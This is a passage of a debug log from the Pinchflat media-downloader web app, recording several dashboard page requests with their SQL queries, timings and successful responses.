=> "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff (truncated) 04:52:22.363 [info] GET / 04:52:22.363 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:52:22.365 [debug] QUERY OK source="settings" db=0.4ms idle=1829.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:22.365 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1830.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:52:22.366 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1831.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:52:22.369 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=1688.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:22.372 [debug] QUERY OK source="media_items" db=2.6ms idle=683.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:22.373 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:22.374 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:22.375 [debug] QUERY OK source="settings" db=0.3ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:22.377 [debug] QUERY OK source="tasks" db=0.4ms idle=8.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:52:22.379 [debug] QUERY OK source="media_items" db=0.3ms idle=6.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:22.379 [debug] QUERY OK source="media_items" db=0.3ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:22.380 [debug] QUERY OK source="sources" db=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:52:22.383 [debug] QUERY OK source="media_items" db=1.2ms idle=6.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:52:22.385 [debug] QUERY OK source="media_items" db=1.6ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:22.385 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:22.387 [info] Sent 200 in 23ms 04:52:23.111 [info] GET /sources 04:52:23.111 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 04:52:23.112 [debug] QUERY OK source="settings" db=0.1ms idle=732.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.112 [debug] QUERY OK source="settings" db=0.2ms idle=729.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.113 [debug] QUERY OK source="settings" db=0.1ms idle=728.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.113 [debug] QUERY OK source="settings" db=0.0ms idle=728.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.114 [debug] QUERY OK source="settings" db=0.0ms idle=425.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.117 [debug] QUERY OK source="sources" db=2.6ms idle=2.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 04:52:23.120 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 04:52:23.122 [info] Sent 200 in 10ms 04:52:23.792 [info] GET /media_profiles 04:52:23.792 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 04:52:23.794 [debug] QUERY OK source="media_profiles" db=0.5ms idle=679.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 04:52:23.795 [debug] QUERY OK source="settings" db=0.3ms idle=680.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.795 [debug] QUERY OK source="settings" db=0.5ms idle=678.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.797 [debug] QUERY OK source="settings" db=0.6ms idle=676.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:23.798 [info] Sent 200 in 6ms 04:52:24.342 [info] GET /settings 04:52:24.342 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 04:52:24.344 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=653.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.345 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=550.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.346 [debug] QUERY OK source="settings" db=0.5ms idle=550.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.347 [debug] QUERY OK source="settings" db=0.2ms idle=551.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.349 [info] Sent 200 in 7ms 04:52:24.812 [info] GET /app_info 04:52:24.812 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 04:52:24.814 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=469.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.815 [debug] QUERY OK source="settings" db=0.5ms idle=469.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.816 [debug] QUERY OK source="settings" db=0.1ms idle=469.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.816 [debug] QUERY OK source="settings" db=0.1ms idle=469.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.817 [debug] QUERY OK source="settings" db=0.1ms idle=124.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:24.817 [info] Sent 200 in 5ms 04:52:25.612 [info] GET /sources/31/media/141520 04:52:25.612 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 04:52:25.614 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=799.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 04:52:25.615 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=799.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 04:52:25.616 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=798.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:25.616 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=799.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 04:52:25.616 [debug] QUERY OK source="settings" db=0.1ms idle=799.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:25.616 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:25.617 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:25.617 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:25.619 [info] Sent 200 in 7ms 04:52:26.390 [info] GET /sources/31 04:52:26.390 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 04:52:26.391 [debug] QUERY OK source="sources" db=0.4ms idle=774.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:26.393 [debug] QUERY OK source="media_profiles" db=0.5ms idle=775.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:26.395 [debug] QUERY OK source="tasks" db=1.7ms idle=776.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 04:52:26.395 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=777.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 04:52:26.396 [debug] QUERY OK source="settings" db=0.1ms idle=701.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:26.396 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 